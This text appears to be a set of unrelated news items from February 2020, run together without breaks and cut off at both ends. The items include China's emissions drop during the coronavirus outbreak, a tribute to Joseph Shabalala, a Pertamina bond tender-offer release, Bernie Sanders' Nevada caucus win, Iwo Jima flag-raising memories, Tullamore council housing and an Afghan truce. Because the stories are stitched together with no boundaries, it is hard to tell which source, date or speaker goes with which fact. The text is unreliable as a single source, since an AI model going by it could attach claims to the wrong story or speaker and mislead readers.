behind about 25% of Earth's total emissions of greenhouse gasses. Even if China has decreased this number during 2014 and 2016, the carbon emissions have still rebounded, and this is mostly because of the country's reliance on coal as a cheap energy source to be able to manufacture large quantities of products at a lower price massively. Read Also: BlueDot: Fighting the Deadly Coronavirus Outbreaks with AI According to CREA, China has a huge responsibility in the rise of carbon emissions around the globe in 2019. Although there is currently a huge drop in carbon emissions, this is still expected to be temporary because of Beijing's plans to revive its industrial activities. There are a lot of sectors being affected because of the Coronavirus Even if this virus had positive effects on the environment, we cannot dismiss the fact that its fatality has brought panic to the whole world and there are more negative effects in the public health and economic sector of not just China but other countries as well. The total lives lost were a loss for humanity in general, and although our environmental status has improved, there should be no reason to celebrate as other factors were deeply affected as well. Read Also: Harvard Study Hails Singapore's Coronavirus COVID-19 Detection System as the World's Best There have been a lot of tech giants like Apple and Google who have pulled out certain factories from China, which can really cripple them economically because most of their manufacturing is made with the help of China. Other industries like construction materials and machinery are also greatly affected by this because of export bans and export relations with other countries. Burning fossil fuels and the harm it has done There are reportedly 1.8 million premature deaths in China every year, according to a survey on smog and other pollutants and their effects on the public. As for the country's economic state, China is said to earn US$900 billion annually. President Xi Jinping has already tackled this topic about four years ago, setting a goal for China to reach its carbon emission peak in 2030 and reduce the carbon footprint after. Because of the coronavirus outbreak, the focus has shifted into the public health of their citizens, and because of the unfavorable halts and limits on manufacturing and other industries, China's carbon emissions have been greatly reduced. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Dance softly and carry a big voice: understanding Joseph Shabalala What is our response to the great artistic and spiritual hole his loss has left in South Africa? When Joseph Bekhizizwe Shabalala passed away I stopped in my tracks and just let the sadness pull me down. And then inspiration from his beacon of a life lifted me back up. Shabalalas own response to the devastating murder of his wife Nellie in 2002 was the transcendently uplifting album by his ensemble Ladysmith Black Mambazo called Raise Your Spirit Higher. It won a Grammy in 2003. What is our response to the great artistic and spiritual hole his loss has left in South Africa? The journalistic tributes have poured in from all over, both at home and abroad. This saves me the labour of reviewing the innumerable highlights of Shabalalas extraordinary shooting star of a life and career. What does remain for us academic tortoises waddling after the journalist hares is to meditate on the quality and character of his unique personhood and achievement, and their meaning for South Africa and indeed the world. Directed by dreams To begin at the beginning, Shabalalas parents were not simply tenant farmers in the district of Ladysmith, KwaZulu-Natal, but more significantly Zulu spiritual diviners and herbal doctors. The religious approach of physical and psychological healing as a single unified medical system was inculcated from birth, along with the intense outpouring of singing, drumming, and dancing such treatment requires. This is important when we consider the role of dreams in Shabalalas creative autobiography. Dreams are a vital source of inspiration and communication from the netherworld in indigenous southern African religion. Their power carries over into African Christianity, which Shabalala took up devoutly after the early success of Ladysmith Black Mambazo in the 1970s. The Church of Christ the Dreamer as playwright and author Athol Fugard called it in his novel Tsotsi. Shabalalas dream of a choir of children singing in perfect harmony proved formative in his ensembles career. For the rest of his life he dreamt of new songs, new arrangements, techniques, and disciplines that the group developed and performed on stage. Directed by dreams, he was a formidable, uncompromising taskmaster in rehearsal. This submission to the spirit of musical harmony in dreams helps to explain the secret of Ladysmith Black Mambazos success. Regardless of their highly localised genre, they were just so good, and the global audience was absolutely enchanted. I recall listening to them at New Yorks cavernous Carnegie Hall in 1988. For three uninterrupted hours, using only their voices and synchronous choreography, they kept the audience spellbound at the edge of their seats in awed, worshipful silence. A bridge with the West The Africanisation of Christianity, audible in the groups isicathamiya genre, produced a blend of Christian hymnody and isiZulu male polyphonic vocal traditions. This deep synthesis provided a bridge between Zulu and Western music that Shabalala crossed and re-crossed repeatedly by a variety of routes. This explains in part the naturalness of his ability to collaborate with an astonishing range of American vocalists and composers, from Paul Simon to Stevie Wonder to Dolly Parton. Another part of the explanation was Shabalalas overwhelming humanism and dedication to social as well as musical harmony, that touched everyone he encountered. Dolly Parton famously collaborated with Ladysmith Black Mambazo. Shaped by migration A second foundational theme in the life and work of Shabalala was the necessity of labour migration, which he was forced to undertake at a young age following the early death of his father. The hardships of the migrant labour system, which formed the economic foundation of racial capitalism and apartheid, later became a staple of his lyrical composition and landscape of feeling. The title song of the groups album Isitimela (Train) thus laments: Here is the train; it has gone, 0h father it is going to Pietermaritzburg They will weep, they will remain behind, sorrowful over us The heavens are trembling. If you marry a lady, she will remain behind weeping They will remain behind, sad over us . These hymns of the hardships of migrant labour like the rock/maskanda of Johnny Clegg and Sipho Mchunu of Juluka who appeared with them on Ladysmith Black Mambazos first overseas tour in 1981 mounted an implicit political challenge to the white minority government. It transgressed the boundaries of apartheid cultural ideology. The face of black South Africa Just as importantly, Ladysmith Black Mambazo helped to humanise oppressed black South Africans to a mass audience overseas. The success of Paul Simons Graceland album and tours in the mid-1980s led to a successful international touring and recording career for Ladysmith Black Mambazo in their own right. American audiences who enjoyed the stunning beauty and exotic perfection of Ladysmith Black Mambazos intricate vocal harmonies could hardly believe that these were the same sort of people as the unarmed protesters that brutal South African police were shown beating, shooting and teargassing on the evening news. Suddenly, as their song Homeless from the Graceland album prayerfully intimated, every black life in South Africas struggle was a real, human life, one whose loss ought to be prevented. Of course, in reply to those English-speaking critics who believed they looked in vain for political consciousness in Ladysmiths songs, Shabalala rightly pointed out that in isiZulu there are subtleties of reference that do not survive translation. And that during the struggle virtually all popular music was held to have a political valence in black communities because politics had become the implicit ground of social discourse. Finally, Ladysmiths appropriations of African-American hymnody and gospel are part of a tradition of Black Atlantic political cross-fertilisation and aspiration. This receives perhaps its most notable expression in Nkosi Sikelel iAfrika, the anthem of the African National Congress that has become the first verse of the national anthem of South Africa. A musical Mandela Finally, we should pause to consider Shabalala as a kind of musical Nelson Mandela, at once a great talent and a great soul, who humanised South Africans, their troubles and their aspirations, for the world. Yet he was above all a perfectionist, setting a standard by which our performing artists will continue to be judged by the world audience for a very long time. Phumula ngokuthula, lala ngoxolo mfowethu Bekhizizwe (Rest in peace Bhekizizwe). Because of you, the rest of us have work to do. Some passages are adapted from David B. Coplans book In Township Tonight! David Coplan, Professor Emeritus, Social Anthropology, University of the Witwatersrand This article is republished from The Conversation under a Creative Commons license. Read the original article. A Boston woman believed she was being kidnapped after getting into what she thought was her ride-share vehicle early Sunday. The incident turned out to be a misunderstanding that was made more complicated by a language barrier, according to police. The woman told police on Sunday that the driver took her in the opposite direction of where she requested to go on the Lyft ride-requesting app. The driver was requested by another Lyft user and went on that person's requested route, according to reports. The video above is the initial report about the alleged attempted kidnapping. Boston Police Department officers responded around 3 a.m. Sunday to a report of the alleged attempted kidnapping. Officers spoke with the alleged victim's boyfriend, who said his girlfriend had ordered the Lyft from the Faneuil Hall area and was held against her will somewhere north of the city. Officers also spoke with the alleged victim, who is in her early 20s. She told police she was out at Paddy O's on Union Street when she ordered the ride-share home between 12:50 and 1 a.m. Sunday. The woman said her phone died after ordering the ride and that a group of men also waiting for her ride directed her to a silver or tan sedan, telling her that it was her ride. She said the man drove for about 30 minutes, taking her somewhere north of the city and in the opposite direction of her requested destination. According to the woman, the driver stopped at a gas station to pick up some snacks and another man then approached the vehicle and told her to stay in the car. At that point, the alleged victim said she kicked the door open and ran away from the gas station and toward the road. She flagged down a passing car and was driven home. According to police on Sunday, the vehicle that brought the alleged victim back to Boston had a man and a woman in it, who told police that they were close to the New Hampshire border when they picked her up. Police said the woman declined a medical evaluation and stated that she had not been assaulted. Monday, police said the reported attempted kidnapping was a misunderstanding as a result of a language barrier. Police said no charges will be filed. JAKARTA, Indonesia, Feb. 20, 2020 /PRNewswire/ -- PT Pertamina (Persero) (the "Company") today announced the expiration and results of its previously announced cash tender offer which launched on February 13, 2020 (the "Tender Offer") for any and all of its outstanding 5.25% Senior Notes due 2021 (the "Notes"). The Tender Offer expired on February 20, 2020 (the "Expiration Date") at 5:00 p.m. New York time (the "Expiration Time"). At the Expiration Time on the Expiration Date, valid tenders had been received with respect to US$608,628,000 of the Notes. As at the Expiration Time on the Expiration Date, instructions were given to tender US$0 of the Notes pursuant to the guaranteed delivery procedures described in the tender offer memorandum dated February 13, 2020 (the "Tender Offer Memorandum"). Book entry delivery of Notes tendered via a notice of guaranteed delivery may be made until the guaranteed delivery date at 5:00 p.m., New York time, on February 24, 2020. The Company has accepted for payment all of the Notes validly tendered at or prior to the Expiration Time on the Expiration Date pursuant to the Tender Offer. The Payment Date is scheduled to be February 25, 2020. Noteholders will receive consideration in the amount of US$1,044.00 per US$1,000 principal amount of Notes tendered and accepted for purchase, plus accrued and unpaid interest to, but not including, the Payment Date. The Company intends to fund the Tender Offer using a portion of the net proceeds of the issuance of US$650,000,000 aggregate principal amount of 3.10% Senior Notes due 2030 and US$800,000,000 aggregate principal amount of 4.15% Senior Notes due 2060 (together, the "New Notes"), which are expected to close on February 25, 2020, subject to customary closing conditions. The Company will arrange for cancellation of all Notes validly tendered and accepted for purchase following purchase by the Company, and any Notes not validly tendered will remain outstanding and accrue interest in accordance with their terms. Following the cancellation of validly tendered Notes, US$391,372,000 in aggregate principal amount of the Notes will remain outstanding. The Company has engaged Citigroup Global Markets Inc., Credit Agricole Corporate and Investment Bank, The Hongkong and Shanghai Banking Corporation Limited, Mandiri Securities Pte. Ltd. and Mizuho Securities Asia Limited (the "Dealer Managers") to serve as dealer managers for the Tender Offer. For additional information regarding the terms of the Tender Offer, please contact Citigroup Global Markets Inc. at +852 2501 2552 / +44 20 7986 8969 / +1 212 723 6106, Credit Agricole Securities (USA) Inc. as U.S. broker-dealer for Credit Agricole Corporate and Investment Bank at +1 212 261 7802 / +1 866 807 6030, The Hongkong and Shanghai Banking Corporation Limited at +852 2822 4100 / +44 20 7992 6237 / +1 212 525 5552, Mandiri Securities Pte. Ltd. at +65 6589 3880 or Mizuho Securities Asia Limited at +852 2685 2023. The Company has appointed D.F. King & Co., Inc. (the "Information and Tender Agent") to serve as the information and tender agent for the Tender Offer. Questions regarding the Tender Offer should be directed to the Information and Tender Agent at the contact details provided. Documents for the Tender Offer, including the Tender Offer Memorandum and the notice of guaranteed delivery, are available at www.dfking.com/pertamina and may also be obtained by contacting the Information and Tender Agent by telephone at New York: +1 212 269 5550 / Toll Free: +1 800 848 3405, London: +44 20 7920 9700 and Hong Kong: +852 3953 7208 or by email at [email protected]. The Tender Offer is being made solely pursuant to, and will be governed by, the Tender Offer Memorandum. Capitalized terms used but not defined herein have the meaning assigned to the in the Tender Offer Memorandum. This announcement shall not constitute an offer to sell or the solicitation of an offer to buy any securities (including, without limitation, the New Notes) nor will there be any sale of these securities in any state or other jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such state or other jurisdiction. Cautionary Statement Concerning Forward-Looking Statements This press release contains forward-looking statements. These forward-looking statements are not historical facts, but only predictions and generally can be identified by use of statements that include phrases such as "will," "may," "expect," "intend," or other words or phrases of similar import. Similarly, statements that describe our objectives, plans or goals also are forward-looking statements. These forward-looking statements are subject to risks and uncertainties which could cause actual results to differ materially from those currently anticipated. Factors that could cause actual results to differ include prevailing market conditions, the consummation of the New Notes Issuance and, if consummated, the amount of funds generated thereby, the consummation of the Tender Offer, changes in the Company's financial position, industry conditions or general economic conditions that affect the Company's ability or willingness to consummate the Tender Offer and the New Notes Issuance on the terms described above or at all, and the Company's access to credit markets on favorable terms. The forward-looking statements included in this press release are made only as of the date of this press release, and we undertake no obligation to update publicly these forward-looking statements to reflect new information, future events or otherwise. In light of these risks, uncertainties and assumptions, the forward-looking events might or might not occur. We cannot assure you that projected results or events will be achieved. Investor and Media Contact: Name: Fajriyah Usman Position: VP Corporate Communication Phone: +62 858-8330-8686 Email: [email protected] DISCLAIMER This announcement must be read in conjunction with the Tender Offer Memorandum. No offer or invitation to acquire or exchange any Notes is being made pursuant to this announcement. This announcement and the Tender Offer Memorandum contain important information, which must be read carefully before any decision is made with respect to the Tender Offer. If any Noteholder is in any doubt as to the action it should take, it is recommended to seek its own legal, tax and financial advice, including as to any tax consequences, from its stockbroker, bank manager, solicitor, accountant or other independent financial adviser. Any Noteholder whose Notes are held on its behalf by a broker, dealer, bank, custodian, trust company or other nominee must contact such entity if it wishes to participate in the Tender Offer. None of the Company, the Dealer Managers, the Information and Tender Agent, or any person who controls, or is a director, officer, employee, agent or affiliate of such persons, makes any recommendation as to whether Noteholders should participate in the Tender Offer. United Kingdom The communication of this announcement, the Tender Offer Memorandum and any other documents or materials relating to the Tender Offer are not being made, and such documents and/or materials have not been approved, by an authorized person for the purposes of section 21 of the Financial Services and Markets Act 2000 (the "FSMA"). Accordingly, such documents and/or materials are not being distributed to, and must not be passed on to, the general public in the United Kingdom. The communication of such documents and/or materials is exempt from the restriction on financial promotions under section 21 of the FSMA on the basis that it is only directed at and may be communicated to (i) persons who are existing members or creditors of the Company or other persons within the meaning of Article 43 of the Financial Services and Markets Act 2000 (Financial Promotion) Order 2005 (the "Order"); (ii) persons who fall within Article 49 of the Order ("high net worth companies, unincorporated associations etc."); or (iii) any other persons to whom these documents and/or materials may lawfully be communicated. Any investment or investment activity to which this announcement or the Tender Offer Memorandum relate is available only to such persons and will be engaged in only with such persons and other persons should not rely on it. General This announcement, the Tender Offer Memorandum and any related documents do not constitute an offer to buy or the solicitation of an offer to sell securities in any circumstances or jurisdictions in which such offer or solicitation is unlawful. Securities may not be offered or sold in the United States or to, or for the account or benefit of, U.S. persons absent registration pursuant to the U.S. Securities Act of 1933, as amended (the "Securities Act"), or an exemption from registration. Any public offering of securities to be made in the United States will be made by means of a prospectus that will contain detailed information about the Company and its management, as well as financial statements. If a jurisdiction requires the Tender Offer to be made by a licensed broker or dealer, and any of the Dealer Managers or any of their respective affiliates is such a licensed broker or dealer in such jurisdictions, the Tender Offer shall be deemed to be made by such Dealer Manager or such affiliate (as the case may be) on behalf of the Company in such jurisdiction. In addition to the representations referred to above in respect of the United Kingdom, each Noteholder participating in the Tender Offer will also be deemed to give certain representations as set out in "Procedures for Tendering Notes" in the Tender Offer Memorandum. Any tender of Notes for purchase pursuant to the Tender Offer from a Noteholder that is unable to make these representations will not be accepted. Each of the Company, the Dealer Managers and the Information and Tender Agent reserves the right, in its absolute discretion, to investigate, in relation to any tender of Notes for purchase pursuant to the Tender Offer, whether any such representation given by a Noteholder is correct and, if such investigation is undertaken and as a result the Company determines (for any reason) that such representation is not correct, such tender of Notes shall not be accepted. The securities referred to herein have not been and will not be registered under the Securities Act, or any state securities laws of the United States, and may not be offered or sold in the United States absent registration or an applicable exemption from the registration requirements of the Securities Act and applicable state laws. The Company has no intent to register any such securities in the United States or any other jurisdiction. The New Notes will only be offered to qualified institutional buyers under Rule 144A of the Securities Act and outside the United States under Regulation S under the Securities Act. SOURCE PT Pertamina (Persero) YEREVAN. The Minister of Foreign and European Affairs of Slovakia, Miroslav Lajcak, will pay an official visit to Armenia on February 24. In the morning of February 24, Armenian Foreign Minister Zohrab Mnatsakanyan is scheduled to meet with Lajcak, after which a joint press conference of the two ministers will be held, the Ministry of Foreign Affairs of Armenia informed Armenian News-NEWS.am. The visit of the Slovak FM will start with a visit to the Armenian Genocide Memorial. Meetings with Prime Minister Nikol Pashinyan and President Armen Sarkissian are also planned. The official opening ceremony of the Slovak Embassy in Armenia will also take place within the framework of this visit. A retired police sergeant tackled two armed raiders who broke into a neighbours home. Kenneth Alen, 67, was punched and left with injuries to his arms and a split lip after confronting the masked thieves in South Woodford, trapping them inside the property of a woman and her young family until officers arrived. Former Tower Hamlets officer Mr Alen said: As I got to the door it opened, and I was then in a situation of defend, to delay, to detain. "They started throwing punches at me which I defended, sustaining tissue and bruises to my arms. But one punch got through and they cut my lip and knocked my glasses off. Pc Natalia Kolodziej then chased the thieves into the kitchen, where she grappled with them. David Hansen, 27, and Sean Bello, 24, were found with lock knives and a haul of gold bracelets and necklaces. English French OTTAWA, Feb. 21, 2020 (GLOBE NEWSWIRE) -- NAV CANADA today announced that a tentative agreement has been reached with the Canadian Air Navigation Specialists Association (CANSA) UNIFOR local 1016 which represents approximately 280 members across Canada. The tentative agreement is subject to the union ratification process. NAV CANADA will not be commenting until the agreement is ratified. About NAV CANADA NAV CANADA is a private, not-for-profit company, established in 1996, providing air traffic control, airport advisory services, weather briefings and aeronautical information services for more than 18 million square kilometres of Canadian domestic and international airspace. The Company is internationally recognized for its safety record, and technology innovation. Air traffic management systems developed by NAV CANADA are used by air navigation service providers in countries worldwide. For further information, please contact: Brian Boudreau Manager, Media Relations 613-563-7303 Media Information Line: 1-888-562-8226 WASHINGTON - Bernie Sanders commanding Nevada caucus victory made him a top target for his Democratic rivals and a growing source of anxiety for establishment Democrats worried that the nomination of a self-avowed democratic socialist could cost the party the White House. Sanders win solidified his front-runner status in the crowded field as the race turns to Saturdays presidential primary in South Carolina, where his moderate opponents will scramble to try to blunt the Vermont senators momentum. Just three days later after that contest, 14 states vote on Super Tuesday, March 3, when one-third of the delegates are awarded. A strong showing in those states could put Sanders on a glide path to the nomination against Republican President Donald Trump. That prospect has amplified concerns for Democrats who believe Sanders liberal policies will drive away moderate and independent voters in the general election in November. South Carolina Rep. Jim Clyburn, the top-ranking black leader in Congress, warned of added risk for Democrats if Sanders was the nominee. I think it would be a real burden for us in these states or congressional districts that we have to do well in, Clyburn told This Week on ABC. He noted that congressional districts that helped Democrats win back the House are moderate and conservative. In those districts, its going to be tough to hold on to these jobs if you have to make the case for accepting a self-proclaimed democratic socialist, Clyburn said. Sanders campaign argue the candidate will bring in new voters largely progressives, young people and voters of colour who have been alienated by politics. He successfully relied on that coalition Saturday to dominate his Democratic rivals in Nevada, pulling far ahead of second-place finisher former Vice-President Joe Biden and Pete Buttigieg, the former mayor of South Bend, Indiana, who came in third. Massachusetts Sen. Elizabeth Warren landed in fourth, while Minnesota Sen. Amy Klobuchar and Tom Steyer were still in a close race for fifth on Sunday. We are bringing our people together, Sanders said Saturday night. In Nevada we have just brought together a multigenerational, multiracial coalition which is not only going to win in Nevada, its going to sweep this country. Sanders new status was clear as both Buttigieg and Biden went after him harder than they have before. In his speech to supporters in Las Vegas, Buttigieg denounced Sanders in his sharpest terms yet, changing that the senator was calling for an inflexible, ideological revolution that leaves out most Democrats. Not to mention most Americans, Buttigieg said. He said Sanders has shown a willingness to ignore or dismiss, or even attack the very Democrats that we absolutely must send to Capitol Hill. Biden, whose struggling campaign got only a slight boost in Nevada, took an indirect swipe both billionaire candidate Mike Bloomberg and Sanders, who is an independent and not a member of the party hes seeking to represent in November. I aint a socialist. Im not a plutocrat. Im a Democrat, Biden told supporters. But some Democrats are worried that the new focus on Sanders may be too little, too late. Democratic strategist James Carville bemoaned the fact that until recently, most of Sanders opponents have largely failed to attack Sanders or draw scrutiny to his record. We gotta hope that some of these candidates develop political skills quickly, he said. If Sanders is the nominee, Carville said, the risk in losing the election is deep and profound. He added: We just gotta pray. Indeed, Trump gloated on social media, continuing his weekslong push to sow discord between Sanders and his Democratic rivals. Looks like Crazy Bernie is doing well in the Great State of Nevada. Biden & the rest look weak, Trump tweeted. Congratulations Bernie, & dont let them take it away from you! All the Democratic candidates are pledging to stay in the race through South Carolina, and some candidates were already campaigning Sunday in Super Tuesday states. Nevadas caucuses were the first chance for White House hopefuls to demonstrate appeal to a diverse group of voters in a state far more representative of the country as a whole than Iowa and New Hampshire. Sanders won by rallying his fiercely loyal base and tapping into support from the states large Latino community. In a show of confidence, Sanders left Nevada on Saturday for Texas, which offers one of the biggest delegate troves in just 10 days on Super Tuesday. Saturdays win built on his victory earlier this month in the New Hampshire primary. He essentially tied for first place in the Iowa caucuses with Buttigieg, who has sought to position himself as an ideological counter to Sanders unabashedly progressive politics. But for all the energy and attention devoted to the first three states, they award only a tiny fraction of the delegates needed to capture the nomination. After South Carolina, the contest becomes national in scope, putting a premium on candidates who have the resources to compete in states as large as California and Texas. That when Bloomberg, the former New York mayor who dominated the political conversation this week after a poor debate-stage debut, intends to become a factor after skipping the first four contests. The stakes were high for Nevada Democrats to avoid a repeat of the chaos in the still-unresolved Iowa caucuses, and it appeared Saturdays contest was largely successful. Nevada Democrats sought to minimize problems by creating multiple redundancies in their reporting system, relying on results called in by phone, a paper worksheet filled out by caucus organizers, a photo of that worksheet sent in by text message and electronic results captured with a Google form. Buttigiegs campaign is raising questions about the results, citing more than 200 reports of problems allocating votes. It wants the state party to disclose more details of the votes and address concerns before releasing final results. But the party said it was not planning to offer a more detailed voting breakdown and appeared to be inviting the campaign to follow recount rules if it wanted to challenge the results. I must take issue with Gordon Wards letter decrying Jane Fondas betrayal of Vietnam veterans (Shame on Kent State for inviting Jane Fonda, Feb. 20). It was not she who betrayed those who served but successive administrations, from President Dwight D. Eisenhower to President Richard Nixon, whose subterfuge and lies perpetrated a contrived war that served no national interest. Her presence at Kent State University is to commemorate those students who were killed or maimed while protesting that unjust war, to which no one has ever been brought to account. As a KSU graduate ('76) and as someone who made the acquaintance of some of the nine injured, I believe Jane Fonda is the ideal speaker for the event. My only regret is that I will be unable to hear her. James Yantko, Sheffield Village AmerisourceBergen, a prescription drug distributor, will lay off 365 employees at its PharMEDium compounding facility in Sugar Land starting in April, the company reported to the Texas Workforce Commission. The Pennsylvania company will also shutter the location at 12620 W. Airport Boulevard by April 20, company officials said. Employees were notified Wednesday of the layoffs. Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Branfords Vincent Thomas recalls hearing a commotion on Feb. 23, 1945, the day that produced the iconic photograph depicting six warriors struggling to raise a massive American flag over the Japanese island of Iwo Jima. The photo would become an enduring image of World War II, triggering a wave of national hope that Japanese forces would soon be crushed and peace was near, and inspiring the construction of the Marine Corps Memorial. To commemorate the 75th anniversary of the famed flag raising, Thomas, a Navy veteran, will be among the featured speakers on Sunday, Feb. 23 at the National Iwo Jima Memorial in Newington. The commemoration will include the 25th anniversary re-dedication of the National Iwo Jima Memorial. There were shouts and ships were blowing their sirens, said Thomas, who was among the 70,000 wading onto the black sand of the 8-square-mile sulfur-reeking island just five days earlier. And then I looked up and saw a flag raised, Seeing the Stars and Stripes, he said, reminded me of home, boosted my morale. But the 93-year-old New Haven native said that was over two hours before Joe Rosenthal snapped the iconic image. What I was seeing was the first flag, said Thomas. Earlier on Feb. 23, 1945, Lt. Colonel Chandler Johnson had ordered Marine Capt. Dave Severance to send a platoon to seize and occupy the crest of Suribachi, according to James Bradley in the 2006 Flags of our Fathers, a crucial tactical advantage that would prevent the Japanese from accurately aiming artillery at Americans landing on the beaches. It was from a 2011 letter from Severance that Thomas received, in his capacity as publisher and editor of the Journal of the Iwo Jima Survivors, that afforded a rare eyewitness account of what happened next. Colonel Johnson gave [a lieutenant] a small flag and told him that if the patrol was able to reach the summit, he was to raise the flag, Severance recalled in the letter. The patrol, comprised of 40 men, encountered no resistance, despite the large number of Japanese troops in immediate vicinity, and at 10:20 am tied the small flag to a piece of pipe. There was a brief uprising by Japanese soldiers that was quickly cut down by the patrol members, Severance recalled. Then, with word spreading throughout the commands that the flag was being raised, the troops on the island, among them, Thomas, cheered and the ships offshore blew their horns. That first flag might have been enough. It wasnt. The official line is that there was a second flag because the first one was too small and couldnt be seen and a bigger one would inspire the troops and demoralize the enemy, Thomas said. In fact, the reason for the second flag without which there would be no iconic flag-raising image isnt as good a story, but its the accurate one, and thats from Dave Severance who was actually there, Thomas said. After seeing the first flag raised, according to Severance, Secretary of the Navy James Forrestal, who had just landed on the beach, expressed a desire to have the small flag as a memento of his visit to Iwo Jima. Colonel Johnson responded by exclaiming Hell no! He cant have our flag. We put it up there, and we are going to keep it, Severance recalled hearing, before the colonel dispatched another platoon to replace the original flag so he could keep the first one himself. You see how history gets revised, Thomas said, referring to the acknowledgment by the Marine Corps this past October that for 74 years it had misidentified one of the six warriors who appeared in the iconic photo as Pfc. Rene Gagnon and not Cpl. Harold Pie Keller. That the revelation came as a shock to Kellers family didnt come as a surprise to Thomas. He didnt speak about it, he said, of the battle that would go on to rage for 31 more days, resulting in over 26,000 casualties, including 6,821 dead. None of us really liked to speak about it. Reason being, we didnt think we were doing anything special. We just did what we signed up to do, which was to defend our way of life. The Iwo Jima Survivors Association, Inc. will hold a commemoration of the 75th anniversary of the Battle of Iwo Jima and the 25th anniversary re-dedication of the National Iwo Jima Memorial at the National Iwo Jima Memorial, Iwo Jima Way in Newington at 10:30 a.m. on Sunday, Feb. 23. Admission is free. For more information, visit Facebook, commemoration of the 75th anniversary of the end of World War II, or contact Vincent Thomas at vincentthomas@comcast.net or 203-488-7683. Copies of the Journal of Iwo Jima Survivors from 2004 to 2015 are housed in the Blackstone Memorial Library in Branford. By Trend Azerbaijan exported 4,170 tons of grapes in 2019, Azerbaijani Ministry of Agriculture told Trend. Azerbaijan earned about $3.3 million from the export of these products, the ministry said. The main importers are four countries. In particular, 4,070 tons of grapes worth $2.9 million were exported to Russia in 2019. Azerbaijan exported 83.4 tons of grapes to Ukraine, 14.2 tons - to Kazakhstan, and 3.9 tons - to the United Arab Emirates. In general, grape production in Azerbaijan amounted to 201,800 tons in 2019. This indicator increased by 20.4 percent compared to 2018. Presently, there are 16,100 hectares of vineyards in the country. The total agricultural production volume in actual prices amounted to around 335 million manat in Azerbaijan in January 2020, which is by 3.6 percent more than in January 2019. The crop production increased by 12.5 percent (15 million manat), while livestock production 3.2 percent (320.3 million manat) in the reporting period. ---- Follow us on Twitter @AzerNewsAz SOME council tenants in Tullamore are subletting their houses, a councillor claimed last week. Speaking at last Thursday's meeting of Tullamore Municipal District, Cllr Sean O'Brien called on the County Council to take action against the practice. You've people leaving houses and unofficially subletting them. They have entered into other arrangements with other members of the family or friends or whatever, said Cllr O'Brien. If a tenant has moved out I don't care whether they're paying their rent or not, if they're not living there, they're not living there, added the Independent councillor. He said the council should take back that house and reallocate it. We've got to do that because it's catching on in a number of estates now. Cllr Declan Harvey said he had come across several houses where the tenants were not present, but were paying the rent. The Fianna Fail councillor said he did not know whether the people were hoarding the houses or using them every so often and he hoped the council could find out more about what is going on. The councillors' comments came as housing officer Monica Cleary said she hoped construction work on the 18 new council houses at Chancery Lane will be finished by April. Four of the houses are for a group housing scheme for members of the Travelling community and the council is working with an approved housing body, CENA, in relation to their provision, said Ms Cleary. Elsewhere in the Tullamore District, four units being built by the Mid Offaly Housing Association in Mountbolus are subtantially completed and nominations on tenancies have been sent to that association. While councillors welcomed the progress on the houses, especially the 18 at Chancery Lane, Cllr O'Brien said the local authority was still only scratching the surface on housing given the massive waiting list. He said the completion of the Chancery Lane scheme was five months behind schedule and added: It's 18 units, but there's 618 hoping to get them. That's the difficulty we have. Ms Cleary also reported on two other forthcoming schemes, including two which will be developed by the Oaklee housing body. Oaklee plan to build 19 units on a site in Clonminch and 41 units at Kearney's Field. The Clonminch project is the furthest advanced and but has yet to go to tender. At best they will commence construction in July, and maybe not until after the builders' holidays in September, said Cllr O'Brien. He predicted it would be the end of 2021 before another house is going to become available in Tullamore from the council. To me that is simply not acceptable, he said. Meanwhile, the waiting list would continue to grow and he would continue hearing stories of people in extreme difficulty living in properties under the HAP (Housing Assistance Payment) scheme. There are 443 such tenancies in the Tullamore District. He called on the council to build 100 houses in 2020. And the same next year and the year after. If we don't we're going to finish up in a disaster zone, he said. Asked by Cllr Neil Feighery, Fine Gael, to clarify who he thought should build the houses, Cllr O'Brien said the council should do so, not approved housing bodies. Cllr Frank Moran, District chair, said he did not agree with the use of approved housing bodies for social housing because unlike council houses, those properties could never be bought out by tenants. Cllr O'Brien called for more inspections to be carried out on houses in the HAP scheme, an appeal which was echoed by Cllr Harvey. Cllr Harvey said he had seen up to six houses which were in absolutely dire condition. Believe me, I wouldn't live in them, he remarked. He believed the tenants were not reporting the condition of their houses to the council because they feared being turfed out by the landlord. Cllr Ken Smollen, Irish Democratic Party, said he agreed with both Cllr O'Brien and Cllr Harvey, and said people should not have to live in houses where there were health and safety concerns. Cllr Smollen also said something should be done about cases where only one person was living in a three-bedroom house for maybe well over a year following a split in a family or a couple. The meeting was also told that progress had been made on a plan for 38 houses at Raheen, Clara. These will be provided directly by the council and a design team has been appointed. Separately, three dwellings specifically for older people will be provided at Church Street in Clara by the council. Though he welcomed the proposals for Clara, Cllr Moran said he would be concerned if projects like the one in Raheen would have a negative impact on potential private developments by breaching quotas laid out in the National Development Plan. Councillors also expressed concern about the number of vacant private properties in the Tullamore area and were told by Ms Cleary that contact had been made last year with landlords who could be identified. While some did get in touch with us, nothing really came from it, she said. We wrote out again in January of this year and a number of people have come back to us again and we are working with some people. She further reported that 19 houses were acquired by the council in 2019 but did not have figures for how much they cost. Another five were bought by approved housing bodies. Another source of social housing for the council is the 'Part V' legislation whereby a certain number of houses in private residential developments have to be allocated to the council. Ms Cleary said agreements had been made for 13 units over the 2019 to 2021 period but the provision of these houses is subject to sales. The council bought additional land in Chancery last year, beside the 18-unit scheme which is nearing complete, and it will accommodate a further 18 to 20 houses. We're hoping to progress that fairly quickly, said the housing officer. A report to councillors at a meeting of the County Council last November said the council was purchasing a site from CIE at Chancery Lane for 133,500. A week-long reduction in violence between the Taliban, the United States and Afghan security forces took effect on Friday, raising hopes for a resolution to the 18-year-long war. The agreement struck during negotiations between US and Taliban representatives, if maintained, could secure a peace deal that would lead to a withdrawal of American forces from Afghanistan. In a televised address, Afghan President Ashraf Ghani announced the reduction in violence (RIV) would begin at midnight local time on Friday (19:30 GMT). The army will remain on active defence status during the week, he said. Earlier, Javid Faisal, spokesman for Afghan National Security Adviser Hamdullah Mohib, said Afghan forces will keep up normal military operations against other armed groups, such ISIL (ISIS) during the RIV period. Local government and security officials have been instructed by the president himself on how to follow the regulations agreed upon for the RIV period, he said, adding that Afghan 